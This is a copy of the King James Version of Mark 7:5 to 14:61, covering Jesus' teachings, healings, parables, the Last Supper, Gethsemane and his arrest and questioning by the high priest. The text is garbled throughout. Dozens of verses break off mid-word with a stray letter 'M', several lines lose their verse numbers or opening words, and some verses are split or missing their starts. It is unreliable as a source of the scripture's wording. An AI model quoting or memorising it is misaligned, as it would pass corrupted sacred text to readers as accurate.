7:5: Then the Pharisees and scribes asked him, Why walk not thy disciples according to the tradition of the elders, but eat bread with unwashen hands?
7:6: He answered and said unto them, Well hath Esaias prophesied of you hypocrites, as it is written, This people honoureth me with their lips, but their heaM
7:7: Howbeit in vain do they worship me, teaching for doctrines the commandments of men.
7:8: For laying aside the commandment of God, ye hold the tradition of men, as the washing of pots and cups: and many other such like things ye do.
7:9: And he said unto them, Full well ye reject the commandment of God, that ye may keep your own tradition.
7:10: For Moses said, Honour thy father and thy mother; and, Whoso curseth father or mother, let him die the death:
7:11: But ye say, If a man shall say toM
 his father or mother, It is Corban, that is to say, a gift, by whatsoever thou mightest be profited by me; he shall be free.
7:12: And ye suffer him no more to do ought for his father or his mother;
7:13: Making the word of God of none effect through your tradition, which ye have delivered: and many such like things do ye.
7:14: And when he had called all the people unto him, he said unto them, Hearken unto me every one of you, and understand:
7:15: There is nothing from without a man, that entering into him can dM
efile him: but the things which come out of him, those are they that defile the man.
7:16: If any man have ears to hear, let him hear.
7:17: And when he was entered into the house from the people, his disciples asked him concerning the parable.
7:18: And he saith unto them, Are ye so without understanding also? Do ye not perceive, that whatsoever thing from without entereth into the man, it cannot defile him;
7:19: Because it entereth not into his heart, but into the belly, and goeth out into the draught, purging aM
7:20: And he said, That which cometh out of the man, that defileth the man.
7:21: For from within, out of the heart of men, proceed evil thoughts, adulteries, fornications, murders,
7:22: Thefts, covetousness, wickedness, deceit, lasciviousness, an evil eye, blasphemy, pride, foolishness:
7:23: All these evil things come from within, and defile the man.
7:24: And from thence he arose, and went into the borders of Tyre and Sidon, and entered into an house, and would have no man know it: but he could not beM
7:25: For a certain woman, whose young daughter had an unclean spirit, heard of him, and came and fell at his feet:
7:26: The woman was a Greek, a Syrophenician by nation; and she besought him that he would cast forth the devil out of her daughter.
7:27: But Jesus said unto her, Let the children first be filled: for it is not meet to take the children's bread, and to cast it unto the dogs.
7:28: And she answered and said unto him, Yes, Lord: yet the dogs under the table eat of the children's crumbs.
 he said unto her, For this saying go thy way; the devil is gone out of thy daughter.
7:30: And when she was come to her house, she found the devil gone out, and her daughter laid upon the bed.
7:31: And again, departing from the coasts of Tyre and Sidon, he came unto the sea of Galilee, through the midst of the coasts of Decapolis.
7:32: And they bring unto him one that was deaf, and had an impediment in his speech; and they beseech him to put his hand upon him.
7:33: And he took him aside from the multitude, and M
put his fingers into his ears, and he spit, and touched his tongue;
7:34: And looking up to heaven, he sighed, and saith unto him, Ephphatha, that is, Be opened.
7:35: And straightway his ears were opened, and the string of his tongue was loosed, and he spake plain.
7:36: And he charged them that they should tell no man: but the more he charged them, so much the more a great deal they published it;
7:37: And were beyond measure astonished, saying, He hath done all things well: he maketh both the deaf to hear, and tM
8:1: In those days the multitude being very great, and having nothing to eat, Jesus called his disciples unto him, and saith unto them,
8:2: I have compassion on the multitude, because they have now been with me three days, and have nothing to eat:
8:3: And if I send them away fasting to their own houses, they will faint by the way: for divers of them came from far.
8:4: And his disciples answered him, From whence can a man satisfy these men with bread here in the wilderness?
e asked them, How many loaves have ye? And they said, Seven.
8:6: And he commanded the people to sit down on the ground: and he took the seven loaves, and gave thanks, and brake, and gave to his disciples to set before them; and they did set them before the people.
8:7: And they had a few small fishes: and he blessed, and commanded to set them also before them.
8:8: So they did eat, and were filled: and they took up of the broken meat that was left seven baskets.
8:9: And they that had eaten were about four thousanM
d: and he sent them away.
8:10: And straightway he entered into a ship with his disciples, and came into the parts of Dalmanutha.
8:11: And the Pharisees came forth, and began to question with him, seeking of him a sign from heaven, tempting him.
8:12: And he sighed deeply in his spirit, and saith, Why doth this generation seek after a sign? verily I say unto you, There shall no sign be given unto this generation.
8:13: And he left them, and entering into the ship again departed to the other side.
ciples had forgotten to take bread, neither had they in the ship with them more than one loaf.
8:15: And he charged them, saying, Take heed, beware of the leaven of the Pharisees, and of the leaven of Herod.
8:16: And they reasoned among themselves, saying, It is because we have no bread.
8:17: And when Jesus knew it, he saith unto them, Why reason ye, because ye have no bread? perceive ye not yet, neither understand? have ye your heart yet hardened?
8:18: Having eyes, see ye not? and having ears, hear ye not? and M
8:19: When I brake the five loaves among five thousand, how many baskets full of fragments took ye up? They say unto him, Twelve.
8:20: And when the seven among four thousand, how many baskets full of fragments took ye up? And they said, Seven.
8:21: And he said unto them, How is it that ye do not understand?
8:22: And he cometh to Bethsaida; and they bring a blind man unto him, and besought him to touch him.
8:23: And he took the blind man by the hand, and led him out of the town; and when he hM
ad spit on his eyes, and put his hands upon him, he asked him if he saw ought.
8:24: And he looked up, and said, I see men as trees, walking.
8:25: After that he put his hands again upon his eyes, and made him look up: and he was restored, and saw every man clearly.
8:26: And he sent him away to his house, saying, Neither go into the town, nor tell it to any in the town.
8:27: And Jesus went out, and his disciples, into the towns of Caesarea Philippi: and by the way he asked his disciples, saying unto them, Whom doM
8:28: And they answered, John the Baptist: but some say, Elias; and others, One of the prophets.
8:29: And he saith unto them, But whom say ye that I am? And Peter answereth and saith unto him, Thou art the Christ.
8:30: And he charged them that they should tell no man of him.
8:31: And he began to teach them, that the Son of man must suffer many things, and be rejected of the elders, and of the chief priests, and scribes, and be killed, and after three days rise again.
8:32: And he spake that sM
aying openly. And Peter took him, and began to rebuke him.
8:33: But when he had turned about and looked on his disciples, he rebuked Peter, saying, Get thee behind me, Satan: for thou savourest not the things that be of God, but the things that be of men.
8:34: And when he had called the people unto him with his disciples also, he said unto them, Whosoever will come after me, let him deny himself, and take up his cross, and follow me.
8:35: For whosoever will save his life shall lose it; but whosoever shall lose hM
is life for my sake and the gospel's, the same shall save it.
8:36: For what shall it profit a man, if he shall gain the whole world, and lose his own soul?
8:37: Or what shall a man give in exchange for his soul?
8:38: Whosoever therefore shall be ashamed of me and of my words in this adulterous and sinful generation; of him also shall the Son of man be ashamed, when he cometh in the glory of his Father with the holy angels.
9:1: And he said unto them, Verily I say unto you, That there be some of them tM
hat stand here, which shall not taste of death, till they have seen the kingdom of God come with power.
9:2: And after six days Jesus taketh with him Peter, and James, and John, and leadeth them up into an high mountain apart by themselves: and he was transfigured before them.
9:3: And his raiment became shining, exceeding white as snow; so as no fuller on earth can white them.
9:4: And there appeared unto them Elias with Moses: and they were talking with Jesus.
9:5: And Peter answered and said to Jesus, Master, itM
 is good for us to be here: and let us make three tabernacles; one for thee, and one for Moses, and one for Elias.
9:6: For he wist not what to say; for they were sore afraid.
9:7: And there was a cloud that overshadowed them: and a voice came out of the cloud, saying, This is my beloved Son: hear him.
9:8: And suddenly, when they had looked round about, they saw no man any more, save Jesus only with themselves.
9:9: And as they came down from the mountain, he charged them that they should tell no man what things tM
hey had seen, till the Son of man were risen from the dead.
9:10: And they kept that saying with themselves, questioning one with another what the rising from the dead should mean.
9:11: And they asked him, saying, Why say the scribes that Elias must first come?
9:12: And he answered and told them, Elias verily cometh first, and restoreth all things; and how it is written of the Son of man, that he must suffer many things, and be set at nought.
9:13: But I say unto you, That Elias is indeed come, and they have doneM
 unto him whatsoever they listed, as it is written of him.
9:14: And when he came to his disciples, he saw a great multitude about them, and the scribes questioning with them.
9:15: And straightway all the people, when they beheld him, were greatly amazed, and running to him saluted him.
9:16: And he asked the scribes, What question ye with them?
9:17: And one of the multitude answered and said, Master, I have brought unto thee my son, which hath a dumb spirit;
9:18: And wheresoever he taketh him, he teareth him: aM
nd he foameth, and gnasheth with his teeth, and pineth away: and I spake to thy disciples that they should cast him out; and they could not.
9:19: He answereth him, and saith, O faithless generation, how long shall I be with you? how long shall I suffer you? bring him unto me.
9:20: And they brought him unto him: and when he saw him, straightway the spirit tare him; and he fell on the ground, and wallowed foaming.
9:21: And he asked his father, How long is it ago since this came unto him? And he said, Of a child.
:22: And ofttimes it hath cast him into the fire, and into the waters, to destroy him: but if thou canst do any thing, have compassion on us, and help us.
9:23: Jesus said unto him, If thou canst believe, all things are possible to him that believeth.
9:24: And straightway the father of the child cried out, and said with tears, Lord, I believe; help thou mine unbelief.
9:25: When Jesus saw that the people came running together, he rebuked the foul spirit, saying unto him, Thou dumb and deaf spirit, I charge thee, cM
ome out of him, and enter no more into him.
9:26: And the spirit cried, and rent him sore, and came out of him: and he was as one dead; insomuch that many said, He is dead.
9:27: But Jesus took him by the hand, and lifted him up; and he arose.
9:28: And when he was come into the house, his disciples asked him privately, Why could not we cast him out?
9:29: And he said unto them, This kind can come forth by nothing, but by prayer and fasting.
9:30: And they departed thence, and passed through Galilee; and he would nM
ot that any man should know it.
9:31: For he taught his disciples, and said unto them, The Son of man is delivered into the hands of men, and they shall kill him; and after that he is killed, he shall rise the third day.
9:32: But they understood not that saying, and were afraid to ask him.
9:33: And he came to Capernaum: and being in the house he asked them, What was it that ye disputed among yourselves by the way?
9:34: But they held their peace: for by the way they had disputed among themselves, who should be thM
9:35: And he sat down, and called the twelve, and saith unto them, If any man desire to be first, the same shall be last of all, and servant of all.
9:36: And he took a child, and set him in the midst of them: and when he had taken him in his arms, he said unto them,
9:37: Whosoever shall receive one of such children in my name, receiveth me: and whosoever shall receive me, receiveth not me, but him that sent me.
9:38: And John answered him, saying, Master, we saw one casting out devils in thy name, andM
 he followeth not us: and we forbad him, because he followeth not us.
9:39: But Jesus said, Forbid him not: for there is no man which shall do a miracle in my name, that can lightly speak evil of me.
9:40: For he that is not against us is on our part.
9:41: For whosoever shall give you a cup of water to drink in my name, because ye belong to Christ, verily I say unto you, he shall not lose his reward.
9:42: And whosoever shall offend one of these little ones that believe in me, it is better for him that a millstoneM
 were hanged about his neck, and he were cast into the sea.
9:43: And if thy hand offend thee, cut it off: it is better for thee to enter into life maimed, than having two hands to go into hell, into the fire that never shall be quenched:
9:44: Where their worm dieth not, and the fire is not quenched.
9:45: And if thy foot offend thee, cut it off: it is better for thee to enter halt into life, than having two feet to be cast into hell, into the fire that never shall be quenched:
9:46: Where their worm dieth not, anM
d the fire is not quenched.
9:47: And if thine eye offend thee, pluck it out: it is better for thee to enter into the kingdom of God with one eye, than having two eyes to be cast into hell fire:
9:48: Where their worm dieth not, and the fire is not quenched.
9:49: For every one shall be salted with fire, and every sacrifice shall be salted with salt.
9:50: Salt is good: but if the salt have lost his saltness, wherewith will ye season it? Have salt in yourselves, and have peace one with another.
d he arose from thence, and cometh into the coasts of Judaea by the farther side of Jordan: and the people resort unto him again; and, as he was wont, he taught them again.
10:2: And the Pharisees came to him, and asked him, Is it lawful for a man to put away his wife? tempting him.
10:3: And he answered and said unto them, What did Moses command you?
10:4: And they said, Moses suffered to write a bill of divorcement, and to put her away.
10:5: And Jesus answered and said unto them, For the hardness of your heart hM
e wrote you this precept.
10:6: But from the beginning of the creation God made them male and female.
10:7: For this cause shall a man leave his father and mother, and cleave to his wife;
10:8: And they twain shall be one flesh: so then they are no more twain, but one flesh.
10:9: What therefore God hath joined together, let not man put asunder.
10:10: And in the house his disciples asked him again of the same matter.
10:11: And he saith unto them, Whosoever shall put away his wife, and marry another, committeth adM
10:12: And if a woman shall put away her husband, and be married to another, she committeth adultery.
10:13: And they brought young children to him, that he should touch them: and his disciples rebuked those that brought them.
10:14: But when Jesus saw it, he was much displeased, and said unto them, Suffer the little children to come unto me, and forbid them not: for of such is the kingdom of God.
10:15: Verily I say unto you, Whosoever shall not receive the kingdom of God as a little child, he M
shall not enter therein.
10:16: And he took them up in his arms, put his hands upon them, and blessed them.
10:17: And when he was gone forth into the way, there came one running, and kneeled to him, and asked him, Good Master, what shall I do that I may inherit eternal life?
10:18: And Jesus said unto him, Why callest thou me good? there is none good but one, that is, God.
10:19: Thou knowest the commandments, Do not commit adultery, Do not kill, Do not steal, Do not bear false witness, Defraud not, Honour thy fatM
10:20: And he answered and said unto him, Master, all these have I observed from my youth.
10:21: Then Jesus beholding him loved him, and said unto him, One thing thou lackest: go thy way, sell whatsoever thou hast, and give to the poor, and thou shalt have treasure in heaven: and come, take up the cross, and follow me.
10:22: And he was sad at that saying, and went away grieved: for he had great possessions.
10:23: And Jesus looked round about, and saith unto his disciples, How hardly shall they thM
at have riches enter into the kingdom of God!
10:24: And the disciples were astonished at his words. But Jesus answereth again, and saith unto them, Children, how hard is it for them that trust in riches to enter into the kingdom of God!
10:25: It is easier for a camel to go through the eye of a needle, than for a rich man to enter into the kingdom of God.
10:26: And they were astonished out of measure, saying among themselves, Who then can be saved?
10:27: And Jesus looking upon them saith, With men it is impossibM
le, but not with God: for with God all things are possible.
10:28: Then Peter began to say unto him, Lo, we have left all, and have followed thee.
10:29: And Jesus answered and said, Verily I say unto you, There is no man that hath left house, or brethren, or sisters, or father, or mother, or wife, or children, or lands, for my sake, and the gospel's,
10:30: But he shall receive an hundredfold now in this time, houses, and brethren, and sisters, and mothers, and children, and lands, with persecutions; and in the woM
rld to come eternal life.
10:31: But many that are first shall be last; and the last first.
10:32: And they were in the way going up to Jerusalem; and Jesus went before them: and they were amazed; and as they followed, they were afraid. And he took again the twelve, and began to tell them what things should happen unto him,
10:33: Saying, Behold, we go up to Jerusalem; and the Son of man shall be delivered unto the chief priests, and unto the scribes; and they shall condemn him to death, and shall deliver him to thM
10:34: And they shall mock him, and shall scourge him, and shall spit upon him, and shall kill him: and the third day he shall rise again.
10:35: And James and John, the sons of Zebedee, come unto him, saying, Master, we would that thou shouldest do for us whatsoever we shall desire.
10:36: And he said unto them, What would ye that I should do for you?
10:37: They said unto him, Grant unto us that we may sit, one on thy right hand, and the other on thy left hand, in thy glory.
10:38: But Jesus said untoM
 them, Ye know not what ye ask: can ye drink of the cup that I drink of? and be baptized with the baptism that I am baptized with?
10:39: And they said unto him, We can. And Jesus said unto them, Ye shall indeed drink of the cup that I drink of; and with the baptism that I am baptized withal shall ye be baptized:
10:40: But to sit on my right hand and on my left hand is not mine to give; but it shall be given to them for whom it is prepared.
10:41: And when the ten heard it, they began to be much displeased with JaM
10:42: But Jesus called them to him, and saith unto them, Ye know that they which are accounted to rule over the Gentiles exercise lordship over them; and their great ones exercise authority upon them.
10:43: But so shall it not be among you: but whosoever will be great among you, shall be your minister:
10:44: And whosoever of you will be the chiefest, shall be servant of all.
10:45: For even the Son of man came not to be ministered unto, but to minister, and to give his life a ransom for many.
: And they came to Jericho: and as he went out of Jericho with his disciples and a great number of people, blind Bartimaeus, the son of Timaeus, sat by the highway side begging.
10:47: And when he heard that it was Jesus of Nazareth, he began to cry out, and say, Jesus, thou Son of David, have mercy on me.
10:48: And many charged him that he should hold his peace: but he cried the more a great deal, Thou Son of David, have mercy on me.
10:49: And Jesus stood still, and commanded him to be called. And they call the M
blind man, saying unto him, Be of good comfort, rise; he calleth thee.
10:50: And he, casting away his garment, rose, and came to Jesus.
10:51: And Jesus answered and said unto him, What wilt thou that I should do unto thee? The blind man said unto him, Lord, that I might receive my sight.
10:52: And Jesus said unto him, Go thy way; thy faith hath made thee whole. And immediately he received his sight, and followed Jesus in the way.
11:1: And when they came nigh to Jerusalem, unto Bethphage and Bethany,M
 at the mount of Olives, he sendeth forth two of his disciples,
11:2: And saith unto them, Go your way into the village over against you: and as soon as ye be entered into it, ye shall find a colt tied, whereon never man sat; loose him, and bring him.
11:3: And if any man say unto you, Why do ye this? say ye that the Lord hath need of him; and straightway he will send him hither.
11:4: And they went their way, and found the colt tied by the door without in a place where two ways met; and they loose him.
ertain of them that stood there said unto them, What do ye, loosing the colt?
11:6: And they said unto them even as Jesus had commanded: and they let them go.
11:7: And they brought the colt to Jesus, and cast their garments on him; and he sat upon him.
11:8: And many spread their garments in the way: and others cut down branches off the trees, and strawed them in the way.
11:9: And they that went before, and they that followed, cried, saying, Hosanna; Blessed is he that cometh in the name of the Lord:
ed be the kingdom of our father David, that cometh in the name of the Lord: Hosanna in the highest.
11:11: And Jesus entered into Jerusalem, and into the temple: and when he had looked round about upon all things, and now the eventide was come, he went out unto Bethany with the twelve.
11:12: And on the morrow, when they were come from Bethany, he was hungry:
11:13: And seeing a fig tree afar off having leaves, he came, if haply he might find any thing thereon: and when he came to it, he found nothing but leaves; fM
or the time of figs was not yet.
11:14: And Jesus answered and said unto it, No man eat fruit of thee hereafter for ever. And his disciples heard it.
11:15: And they come to Jerusalem: and Jesus went into the temple, and began to cast out them that sold and bought in the temple, and overthrew the tables of the moneychangers, and the seats of them that sold doves;
11:16: And would not suffer that any man should carry any vessel through the temple.
11:17: And he taught, saying unto them, Is it not written, My house sM
hall be called of all nations the house of prayer? but ye have made it a den of thieves.
11:18: And the scribes and chief priests heard it, and sought how they might destroy him: for they feared him, because all the people was astonished at his doctrine.
11:19: And when even was come, he went out of the city.
11:20: And in the morning, as they passed by, they saw the fig tree dried up from the roots.
11:21: And Peter calling to remembrance saith unto him, Master, behold, the fig tree which thou cursedst is witheredM
11:22: And Jesus answering saith unto them, Have faith in God.
11:23: For verily I say unto you, That whosoever shall say unto this mountain, Be thou removed, and be thou cast into the sea; and shall not doubt in his heart, but shall believe that those things which he saith shall come to pass; he shall have whatsoever he saith.
11:24: Therefore I say unto you, What things soever ye desire, when ye pray, believe that ye receive them, and ye shall have them.
11:25: And when ye stand praying, forgive, if ye havM
e ought against any: that your Father also which is in heaven may forgive you your trespasses.
11:26: But if ye do not forgive, neither will your Father which is in heaven forgive your trespasses.
11:27: And they come again to Jerusalem: and as he was walking in the temple, there come to him the chief priests, and the scribes, and the elders,
11:28: And say unto him, By what authority doest thou these things? and who gave thee this authority to do these things?
11:29: And Jesus answered and said unto them, I will aM
lso ask of you one question, and answer me, and I will tell you by what authority I do these things.
11:30: The baptism of John, was it from heaven, or of men? answer me.
11:31: And they reasoned with themselves, saying, If we shall say, From heaven; he will say, Why then did ye not believe him?
11:32: But if we shall say, Of men; they feared the people: for all men counted John, that he was a prophet indeed.
11:33: And they answered and said unto Jesus, We cannot tell. And Jesus answering saith unto them, Neither M
do I tell you by what authority I do these things.
12:1: And he began to speak unto them by parables. A certain man planted a vineyard, and set an hedge about it, and digged a place for the winefat, and built a tower, and let it out to husbandmen, and went into a far country.
12:2: And at the season he sent to the husbandmen a servant, that he might receive from the husbandmen of the fruit of the vineyard.
12:3: And they caught him, and beat him, and sent him away empty.
12:4: And again he sent unto theM
m another servant; and at him they cast stones, and wounded him in the head, and sent him away shamefully handled.
12:5: And again he sent another; and him they killed, and many others; beating some, and killing some.
12:6: Having yet therefore one son, his wellbeloved, he sent him also last unto them, saying, They will reverence my son.
12:7: But those husbandmen said among themselves, This is the heir; come, let us kill him, and the inheritance shall be ours.
12:8: And they took him, and killed him, and cast him M
out of the vineyard.
12:9: What shall therefore the lord of the vineyard do? he will come and destroy the husbandmen, and will give the vineyard unto others.
12:10: And have ye not read this scripture; The stone which the builders rejected is become the head of the corner:
12:11: This was the Lord's doing, and it is marvellous in our eyes?
12:12: And they sought to lay hold on him, but feared the people: for they knew that he had spoken the parable against them: and they left him, and went their way.
y send unto him certain of the Pharisees and of the Herodians, to catch him in his words.
12:14: And when they were come, they say unto him, Master, we know that thou art true, and carest for no man: for thou regardest not the person of men, but teachest the way of God in truth: Is it lawful to give tribute to Caesar, or not?
12:15: Shall we give, or shall we not give? But he, knowing their hypocrisy, said unto them, Why tempt ye me? bring me a penny, that I may see it.
12:16: And they brought it. And he saith untoM
 them, Whose is this image and superscription? And they said unto him, Caesar's.
12:17: And Jesus answering said unto them, Render to Caesar the things that are Caesar's, and to God the things that are God's. And they marvelled at him.
12:18: Then come unto him the Sadducees, which say there is no resurrection; and they asked him, saying,
12:19: Master, Moses wrote unto us, If a man's brother die, and leave his wife behind him, and leave no children, that his brother should take his wife, and raise up seed unto hisM
12:20: Now there were seven brethren: and the first took a wife, and dying left no seed.
12:21: And the second took her, and died, neither left he any seed: and the third likewise.
12:22: And the seven had her, and left no seed: last of all the woman died also.
12:23: In the resurrection therefore, when they shall rise, whose wife shall she be of them? for the seven had her to wife.
12:24: And Jesus answering said unto them, Do ye not therefore err, because ye know not the scriptures, neither the power ofM
12:25: For when they shall rise from the dead, they neither marry, nor are given in marriage; but are as the angels which are in heaven.
12:26: And as touching the dead, that they rise: have ye not read in the book of Moses, how in the bush God spake unto him, saying, I am the God of Abraham, and the God of Isaac, and the God of Jacob?
12:27: He is not the God of the dead, but the God of the living: ye therefore do greatly err.
12:28: And one of the scribes came, and having heard them reasoning together, and M
perceiving that he had answered them well, asked him, Which is the first commandment of all?
12:29: And Jesus answered him, The first of all the commandments is, Hear, O Israel; The Lord our God is one Lord:
12:30: And thou shalt love the Lord thy God with all thy heart, and with all thy soul, and with all thy mind, and with all thy strength: this is the first commandment.
12:31: And the second is like, namely this, Thou shalt love thy neighbour as thyself. There is none other commandment greater than these.
 And the scribe said unto him, Well, Master, thou hast said the truth: for there is one God; and there is none other but he:
12:33: And to love him with all the heart, and with all the understanding, and with all the soul, and with all the strength, and to love his neighbour as himself, is more than all whole burnt offerings and sacrifices.
12:34: And when Jesus saw that he answered discreetly, he said unto him, Thou art not far from the kingdom of God. And no man after that durst ask him any question.
esus answered and said, while he taught in the temple, How say the scribes that Christ is the Son of David?
12:36: For David himself said by the Holy Ghost, The LORD said to my Lord, Sit thou on my right hand, till I make thine enemies thy footstool.
12:37: David therefore himself calleth him Lord; and whence is he then his son? And the common people heard him gladly.
12:38: And he said unto them in his doctrine, Beware of the scribes, which love to go in long clothing, and love salutations in the marketplaces,
39: And the chief seats in the synagogues, and the uppermost rooms at feasts:
12:40: Which devour widows' houses, and for a pretence make long prayers: these shall receive greater damnation.
12:41: And Jesus sat over against the treasury, and beheld how the people cast money into the treasury: and many that were rich cast in much.
12:42: And there came a certain poor widow, and she threw in two mites, which make a farthing.
12:43: And he called unto him his disciples, and saith unto them, Verily I say unto you, ThaM
t this poor widow hath cast more in, than all they which have cast into the treasury:
12:44: For all they did cast in of their abundance; but she of her want did cast in all that she had, even all her living.
13:1: And as he went out of the temple, one of his disciples saith unto him, Master, see what manner of stones and what buildings are here!
13:2: And Jesus answering said unto him, Seest thou these great buildings? there shall not be left one stone upon another, that shall not be thrown down.
 And as he sat upon the mount of Olives over against the temple, Peter and James and John and Andrew asked him privately,
13:4: Tell us, when shall these things be? and what shall be the sign when all these things shall be fulfilled?
13:5: And Jesus answering them began to say, Take heed lest any man deceive you:
13:6: For many shall come in my name, saying, I am Christ; and shall deceive many.
13:7: And when ye shall hear of wars and rumours of wars, be ye not troubled: for such things must needs be; but the end sM
13:8: For nation shall rise against nation, and kingdom against kingdom: and there shall be earthquakes in divers places, and there shall be famines and troubles: these are the beginnings of sorrows.
13:9: But take heed to yourselves: for they shall deliver you up to councils; and in the synagogues ye shall be beaten: and ye shall be brought before rulers and kings for my sake, for a testimony against them.
13:10: And the gospel must first be published among all nations.
13:11: But when they shall M
lead you, and deliver you up, take no thought beforehand what ye shall speak, neither do ye premeditate: but whatsoever shall be given you in that hour, that speak ye: for it is not ye that speak, but the Holy Ghost.
13:12: Now the brother shall betray the brother to death, and the father the son; and children shall rise up against their parents, and shall cause them to be put to death.
13:13: And ye shall be hated of all men for my name's sake: but he that shall endure unto the end, the same shall be saved.
 But when ye shall see the abomination of desolation, spoken of by Daniel the prophet, standing where it ought not, (let him that readeth understand,) then let them that be in Judaea flee to the mountains:
13:15: And let him that is on the housetop not go down into the house, neither enter therein, to take any thing out of his house:
13:16: And let him that is in the field not turn back again for to take up his garment.
13:17: But woe to them that are with child, and to them that give suck in those days!
 pray ye that your flight be not in the winter.
13:19: For in those days shall be affliction, such as was not from the beginning of the creation which God created unto this time, neither shall be.
13:20: And except that the Lord had shortened those days, no flesh should be saved: but for the elect's sake, whom he hath chosen, he hath shortened the days.
13:21: And then if any man shall say to you, Lo, here is Christ; or, lo, he is there; believe him not:
13:22: For false Christs and false prophets shall rise, and sM
hall shew signs and wonders, to seduce, if it were possible, even the elect.
13:23: But take ye heed: behold, I have foretold you all things.
13:24: But in those days, after that tribulation, the sun shall be darkened, and the moon shall not give her light,
13:25: And the stars of heaven shall fall, and the powers that are in heaven shall be shaken.
13:26: And then shall they see the Son of man coming in the clouds with great power and glory.
13:27: And then shall he send his angels, and shall gather together his eM
lect from the four winds, from the uttermost part of the earth to the uttermost part of heaven.
13:28: Now learn a parable of the fig tree; When her branch is yet tender, and putteth forth leaves, ye know that summer is near:
13:29: So ye in like manner, when ye shall see these things come to pass, know that it is nigh, even at the doors.
13:30: Verily I say unto you, that this generation shall not pass, till all these things be done.
13:31: Heaven and earth shall pass away: but my words shall not pass away.
 But of that day and that hour knoweth no man, no, not the angels which are in heaven, neither the Son, but the Father.
13:33: Take ye heed, watch and pray: for ye know not when the time is.
13:34: For the Son of man is as a man taking a far journey, who left his house, and gave authority to his servants, and to every man his work, and commanded the porter to watch.
13:35: Watch ye therefore: for ye know not when the master of the house cometh, at even, or at midnight, or at the cockcrowing, or in the morning:
6: Lest coming suddenly he find you sleeping.
13:37: And what I say unto you I say unto all, Watch.
14:1: After two days was the feast of the passover, and of unleavened bread: and the chief priests and the scribes sought how they might take him by craft, and put him to death.
14:2: But they said, Not on the feast day, lest there be an uproar of the people.
14:3: And being in Bethany in the house of Simon the leper, as he sat at meat, there came a woman having an alabaster box of ointment of spikenard vM
ery precious; and she brake the box, and poured it on his head.
14:4: And there were some that had indignation within themselves, and said, Why was this waste of the ointment made?
14:5: For it might have been sold for more than three hundred pence, and have been given to the poor. And they murmured against her.
14:6: And Jesus said, Let her alone; why trouble ye her? she hath wrought a good work on me.
14:7: For ye have the poor with you always, and whensoever ye will ye may do them good: but me ye have not alwaysM
14:8: She hath done what she could: she is come aforehand to anoint my body to the burying.
14:9: Verily I say unto you, Wheresoever this gospel shall be preached throughout the whole world, this also that she hath done shall be spoken of for a memorial of her.
14:10: And Judas Iscariot, one of the twelve, went unto the chief priests, to betray him unto them.
14:11: And when they heard it, they were glad, and promised to give him money. And he sought how he might conveniently betray him.
14:12: And the first day M
of unleavened bread, when they killed the passover, his disciples said unto him, Where wilt thou that we go and prepare that thou mayest eat the passover?
14:13: And he sendeth forth two of his disciples, and saith unto them, Go ye into the city, and there shall meet you a man bearing a pitcher of water: follow him.
14:14: And wheresoever he shall go in, say ye to the goodman of the house, The Master saith, Where is the guestchamber, where I shall eat the passover with my disciples?
14:15: And he will shew you a laM
rge upper room furnished and prepared: there make ready for us.
14:16: And his disciples went forth, and came into the city, and found as he had said unto them: and they made ready the passover.
14:17: And in the evening he cometh with the twelve.
14:18: And as they sat and did eat, Jesus said, Verily I say unto you, One of you which eateth with me shall betray me.
14:19: And they began to be sorrowful, and to say unto him one by one, Is it I? and another said, Is it I?
14:20: And he answered and said unto them, ItM
 is one of the twelve, that dippeth with me in the dish.
14:21: The Son of man indeed goeth, as it is written of him: but woe to that man by whom the Son of man is betrayed! good were it for that man if he had never been born.
14:22: And as they did eat, Jesus took bread, and blessed, and brake it, and gave to them, and said, Take, eat: this is my body.
14:23: And he took the cup, and when he had given thanks, he gave it to them: and they all drank of it.
14:24: And he said unto them, This is my blood of the new teM
stament, which is shed for many.
14:25: Verily I say unto you, I will drink no more of the fruit of the vine, until that day that I drink it new in the kingdom of God.
14:26: And when they had sung an hymn, they went out into the mount of Olives.
14:27: And Jesus saith unto them, All ye shall be offended because of me this night: for it is written, I will smite the shepherd, and the sheep shall be scattered.
14:28: But after that I am risen, I will go before you into Galilee.
14:29: But Peter said unto him, AlthougM
h all shall be offended, yet will not I.
14:30: And Jesus saith unto him, Verily I say unto thee, That this day, even in this night, before the cock crow twice, thou shalt deny me thrice.
14:31: But he spake the more vehemently, If I should die with thee, I will not deny thee in any wise. Likewise also said they all.
14:32: And they came to a place which was named Gethsemane: and he saith to his disciples, Sit ye here, while I shall pray.
14:33: And he taketh with him Peter and James and John, and began to be sore M
amazed, and to be very heavy;
14:34: And saith unto them, My soul is exceeding sorrowful unto death: tarry ye here, and watch.
14:35: And he went forward a little, and fell on the ground, and prayed that, if it were possible, the hour might pass from him.
14:36: And he said, Abba, Father, all things are possible unto thee; take away this cup from me: nevertheless not what I will, but what thou wilt.
14:37: And he cometh, and findeth them sleeping, and saith unto Peter, Simon, sleepest thou? couldest not thou watch M
14:38: Watch ye and pray, lest ye enter into temptation. The spirit truly is ready, but the flesh is weak.
14:39: And again he went away, and prayed, and spake the same words.
14:40: And when he returned, he found them asleep again, (for their eyes were heavy,) neither wist they what to answer him.
14:41: And he cometh the third time, and saith unto them, Sleep on now, and take your rest: it is enough, the hour is come; behold, the Son of man is betrayed into the hands of sinners.
14:42: Rise up, let us gM
o; lo, he that betrayeth me is at hand.
14:43: And immediately, while he yet spake, cometh Judas, one of the twelve, and with him a great multitude with swords and staves, from the chief priests and the scribes and the elders.
14:44: And he that betrayed him had given them a token, saying, Whomsoever I shall kiss, that same is he; take him, and lead him away safely.
14:45: And as soon as he was come, he goeth straightway to him, and saith, Master, master; and kissed him.
14:46: And they laid their hands on him, andM
14:47: And one of them that stood by drew a sword, and smote a servant of the high priest, and cut off his ear.
14:48: And Jesus answered and said unto them, Are ye come out, as against a thief, with swords and with staves to take me?
14:49: I was daily with you in the temple teaching, and ye took me not: but the scriptures must be fulfilled.
14:50: And they all forsook him, and fled.
14:51: And there followed him a certain young man, having a linen cloth cast about his naked body; and the young men laidM
14:52: And he left the linen cloth, and fled from them naked.
14:53: And they led Jesus away to the high priest: and with him were assembled all the chief priests and the elders and the scribes.
14:54: And Peter followed him afar off, even into the palace of the high priest: and he sat with the servants, and warmed himself at the fire.
14:55: And the chief priests and all the council sought for witness against Jesus to put him to death; and found none.
14:56: For many bare false witness against him, bM
ut their witness agreed not together.
14:57: And there arose certain, and bare false witness against him, saying,
14:58: We heard him say, I will destroy this temple that is made with hands, and within three days I will build another made without hands.
14:59: But neither so did their witness agree together.
14:60: And the high priest stood up in the midst, and asked Jesus, saying, Answerest thou nothing? what is it which these witness against thee?
14:61: But he held his peace, and answered nothing. Again the highM
 priest asked him, and said unto him, Art thou the Christ, the Son of the Blessed?
